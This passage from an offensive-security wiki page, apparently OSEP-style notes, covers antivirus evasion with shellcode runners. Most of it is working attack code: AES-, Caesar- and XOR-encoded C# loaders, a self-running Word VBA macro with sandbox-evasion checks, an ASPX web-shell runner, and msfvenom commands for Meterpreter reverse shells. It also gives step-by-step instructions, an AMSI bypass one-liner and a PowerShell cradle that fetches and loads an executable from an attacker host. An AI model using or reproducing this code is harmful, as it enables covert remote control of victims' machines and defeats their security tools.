                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;%@ Page Language=&amp;quot;C#&amp;quot; AutoEventWireup=&amp;quot;true&amp;quot; %&amp;gt;&lt;br /&gt;
&amp;lt;%@ Import Namespace=&amp;quot;System.IO&amp;quot; %&amp;gt;&lt;br /&gt;
&amp;lt;script runat=&amp;quot;server&amp;quot;&amp;gt;&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]  &lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]   &lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]  &lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {0x01, 0x4d, 0x88, ...};&lt;br /&gt;
        for(int i = 0; i &amp;lt; oe7hnH0.Length; i++)&lt;br /&gt;
        {&lt;br /&gt;
        oe7hnH0[i] = (byte)(((uint)oe7hnH0[i] - 5) &amp;amp; 0xFF);&lt;br /&gt;
        }&lt;br /&gt;
        IntPtr uKVv = VirtualAlloc(IntPtr.Zero,(UIntPtr)oe7hnH0.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        System.Runtime.InteropServices.Marshal.Copy(oe7hnH0,0,uKVv,oe7hnH0.Length);&lt;br /&gt;
        IntPtr xE34tIARlB = IntPtr.Zero;&lt;br /&gt;
        IntPtr iwuox = CreateThread(IntPtr.Zero,UIntPtr.Zero,uKVv,IntPtr.Zero,0,ref xE34tIARlB);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
